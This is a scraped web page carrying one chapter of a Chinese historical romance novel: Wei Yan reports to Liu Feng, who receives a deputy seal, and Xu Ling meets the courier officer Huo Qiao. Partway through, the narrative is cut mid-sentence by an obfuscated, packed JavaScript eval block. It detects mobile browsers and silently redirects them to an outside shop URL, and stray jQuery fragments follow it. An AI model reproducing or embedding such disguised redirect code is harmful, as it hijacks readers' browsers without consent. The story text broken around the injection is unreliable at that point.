默认冷灰
24号文字
方正启体

11. 一一 临渊羡鱼

作者:余衿风款款本书字数:K更新时间:
    魏延带着张南及其麾下数百名精兵回到先锋营,天色已近黄昏。向刘封回报时,他正在帐中独自享用飱食。刘封的配给比寻常兵卒士官更为丰富精细,除了碗里是与大家一样的粟米饭,面前矮几上还有一盘炙鹿肉、一碟葵菜、一盂豆羹和一杯蜜水。


    “文长,且来与我同食!”


    看到魏延进来,刘封放下匙筯起身相迎,旋即注意到张南,眼中划过一丝讶异:


    “文进也来了?”


    魏延出示了刘备关于张南率部调入先锋营的手令,刘封一字一句看着,表情幽深莫测。但在收到他转呈而来的刘备赏赐时,双眼顿时明亮起来:那是一张用料扎实的弓,铁胎为脊、桑柘为身。更令刘封爱不释手的,是一枚精巧的龟钮金印,篆刻着四个小字:副军之印。


    “文长胆略过人,文进在伯鱼身边多年,亦是勇武雄赳。我年资尚浅,先锋营诸事,还要劳二位多费心。”


    刘封和煦一笑,拱了拱手。张南看他心情不错,赶紧抓住机会问能不能去骑一圈赤云。虽然馋涎许久,从中军营来这一路,也只是牵着缰绳目不转睛地盯着,没敢偷偷骑上去。虽然心情确实很好,刘封还是稍显犹豫。赤云是他亲手养大的坐骑,即使偶尔外借,也只给过徐绫这样出身的新朋旧友。张南耷拉着脑袋,唇边那道旧疤往下撇了撇,对即将到来的拒绝并不意外,只是难免失落。


    “小事而已,文进何必如此恳求,随意取用便是。”


    听见刘封温润的声音响起,张南有片刻的恍惚,下意识朝魏延望了一眼寻求确认。魏延微微偏头,示意他见好就收,赶紧去马厩,免得人家改变主意。张南咧开嘴,连到唇角的旧疤让这个笑容被扩展到更深,一阵风似的离开了营帐。魏延抱拳行礼,想跟过去顺便清点一下辎重,却被刘封叫住:


    “阿绫几时启程前往葭萌城?我去送送她。”


    阿绫。


    这个称呼钻入耳中,魏延垂眼遮住了瞬间黯淡的眸光,稍稍清嗓,将刘备的安排简要转述出来。讲到负责看顾之人是傅肜,刘封挑了挑眉,沉默少顷,若有所思问道:


    “父亲可问起过她身上那件月白衣袍?”


    魏延瞥他一眼,点点头,将当时情形详细描述了一遍。刘封脸上浮现出短暂的讶异,又徐徐化作意味深长的笑,龟钮金印在他修长白皙的手指间翻来覆去:


    “阿绫真好啊。”


    魏延盯着他,许多纷杂无章的心绪碎片瞬间因为刘封这句感叹而变得通彻。徐绫为什么要在觐见刘备时故意衣衫不整、让他注意到身上的衣袍,为什么要那般刻意地强调徐庶与刘封的师生旧谊,刘封为什么会神清气爽到竟然恩准张南去骑那匹小红马。


    副军,一军之副,一人之下。


    仅凭这两个字,虽不能让刘封就此接管先锋营,却给予了他未来统领更多的期许。先锋营直撄敌阵,断不可将帅异心。但如何对没有直接隶属关系的将官施加影响,本也是统帅的必修之业。


    刘禅和刘永出生以后,大家对刘封的称谓悄然从公子变为长公子。这一点微妙差别,其实让刘封有些尴尬。徐绫那番话,恰到好处地在刘备面前为他增添了一圈仁厚重情的光环。刘禅和刘永固然是亲子,却只有五六岁。乱世之中,甚至都很难保证他们能否健康成年。


    那枚龟钮金印如此精巧,军营工匠决计打造不出,定然早已备好,只不过选择在此刻交给刘封。徐绫的三言两语或许无法左右什么,但足以成为推动刘备做出最终决定的一份小小助力。


    “徐子衿对左将军讲的那些话,是长公子所教?”


    “只对她说过,若能在父亲面前稍提一句我对元直先生的感念,权当报答了赠衣之恩。”刘封浅抿一口蜜水,轻轻笑了笑,“其实当时不过开句玩笑,谁知阿绫竟这般用心。”


    魏延脑海里忽然涌入了更多碎片:徐绫伏在案几上累极熟睡的身影,被自己用布条缠住眼睛时那一声低呜,以及中军帐外一触即散的对视。这两天对她而言是多么漫长而煎熬,中军大帐的气氛又是多么凝重威赫,刘封显然也并未抱有什么期待,她完全可以将这个玩笑般的嘱托直接抛之脑后。但徐绫没有,甚至去中军营的那一路都在琢磨该如何让话题出现得自然而然、不露痕迹。尽管已经无从知晓,若刘备未曾垂询,徐绫会不会主动挑起。但魏延觉得答案显而易见:一定会的。


    他碰了碰自己的手背,那里仿佛还残留着淅淅沥沥落雨般的敲击触感。


    呵,徐绫都敢在中军大帐搞这种把戏,世间哪还有什么是她不敢做的。


    不过,她希望得到怎样的回报呢?肯定不止一句阿绫真好。


    或许……嫁给刘封?


    魏延拧紧眉头,仅仅是想到这种可能,就让他浑身不舒服。强烈的抗拒感从心底油然而生,仿佛海浪永不间断地拍打着礁石,直到碎裂成白沫。刘封哪里值得如此大费周章,他甚至都未曾看清徐绫真正的模样。


    “文长还有事?”


    留意到魏延眼中一团鼎水之沸,刘封试探着问了一句。魏延长吁一口气,甩掉那些乱糟糟的念头,开始跟他交割军务。冯武和五斗米道的勾连必须尽快处理,但张南初涉前线、威望不足,若雒城守军前来袭扰粮道或田亩,该怎样应对,才能既不让对方觉得是在故意引诱其派遣主力、也不让他们觉得此处无机可乘,其间关窍还是讲给刘封更为妥当。


    刘封有一搭没一搭地应着,目光始终没有离开手中金印。魏延一走,他便挪到离烛火更近的地方,细细端详起来。


    知恩图报这四个字,何其知易行难。


    他想起徐绫几次郑重承诺,忽然萌生出真挚深刻的懊悔:怎么能把那件露出内衬经线的墨绿绒氅送给她呢?太不够礼贤下士了。


    于是,肉干、果脯、蜜糖、茱萸等等精致吃食被源源不断送入徐绫那顶小帐,随之而来的还有一件没有露出内衬经线的玄色狐裘大氅。


    徐绫把锦囊里的最后一枚梅干拈在手里慢慢嚼着,心不在焉地看着赞卡指挥属下进进出出搬东运西。


    日升月落,她记不清在这间小帐住了多久,或许才一两日,也可能已经许多天。


    傅肜提供的食物虽称不上玉馔珍馐,但比风餐露宿时丰盛许多,她甚至感觉身型都变圆润了,哪里还需要什么吃食呢?


    刘备没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486428|202034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    再召见她,这让她陷入了从未有过的漫长迷茫之中。既看不清前路,又两手空空。比起考虑吃点什么,她更想知道自己还能做点什么。


    一阵窸窸窣窣的喧嚣由远及近传来,徐绫转头望去,原来是一位青年将官款步而来,走到哪里,哪里就会响起一片热情的招呼声。修长劲瘦的身躯萦绕在朝食前的炊烟里,如画中仙、谷中兰。


    离得近了,徐绫注意到,青年约有二十六七岁,虽然是一身靛青色郎君装束、腰悬佩剑,但脸颊柔润,身前有明显的起伏轮廓,也并未对喉间平滑做任何遮掩。颔首回礼时仪态优美,又隐隐散发出凛然不可侵的威势。徐绫观望了一圈大家投去的目光,亲近却不狎昵。


    离得更近时,她发现青年的皮肤因为经年累月的风吹日晒而显得有些粗糙,虽然容貌英秀,但那一路上收获的敬慕显然不是得益于此。


    “赞卡,实在对不起,近来军务繁重,没来得及去你家中询问口信,下次一定补上。”


    青年走到赞卡面前,语气歉疚。赞卡摇了摇头,拱手行礼:


    “霍校尉言重了,一直劳烦您,某已是心中难安,怎会反而有怪罪之意?”


    青年的视线转向徐绫,微微一怔,悄然挑了挑眉梢,唇边缓缓漾开一抹笑意:


    “我是军谋校尉霍峤,小郎君如何称呼?”


    “颍川徐绫。”


    话音未落,蓦地一阵风吹过,徐绫没有束紧的发髻晃了晃,逸出一缕长发倏然飘起。霍峤伸出手,指节弯曲,轻巧地帮她勾到耳后:


    “我从葭萌城而来,专司书信传递。徐小郎君如有需要,来寻我就是。”


    霍峤与徐绫互相抱拳一礼,转身离开。望着她逐渐隐没在霞光和炊烟里的背影,徐绫问道:


    “赞卡,霍校尉为何要单独找你?”


    “说来惭愧,我家人不擅汉话,营中没有五溪蛮语译使,书信无法审查。若写汉字,他们找人通译也很麻烦。霍校尉得知以后,但凡有空,每次往来之前,就会找我家人单独询问有无口信。”


    徐绫把那缕散逸出来的长发一圈一圈缠绕在指间,又一圈一圈慢慢松开,继续问道:


    “既然书信艰难,那图画呢?”


    “军机图画岂可泄露,那可是罪同谋逆。”


    见赞卡神情如此严肃,徐绫不禁哑然失笑,摇了摇头:


    “自然不是什么军机秘闻,而是你的画像。”


    她凑近几步望向赞卡,圆亮的鹿眼里闪烁着已然跨越千山万水的愿景明光。


    “霍校尉无暇他顾之时,如若你的家人从画中知晓你康健无恙,想来也能聊慰一二。”


    赞卡恍然大悟,微微张嘴,几乎要展开一个惊喜的笑,可随即又收敛起来:


    “徐郎君指的,可是那些贵人们府上的工笔人像?某倒是见过,却画不出。”


    徐绫欣欣然挺直了腰板,眼角眉梢都挂上跃跃欲试的勃勃生机,然后在赞卡讶异的注视下,指了指自己。


    她最擅长的就是工笔人像,而且成画迅速、质量稳定,不仅可以描摹实景,还能依照描述凭想象绘制,甚至作为议婚之用也并无不可。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)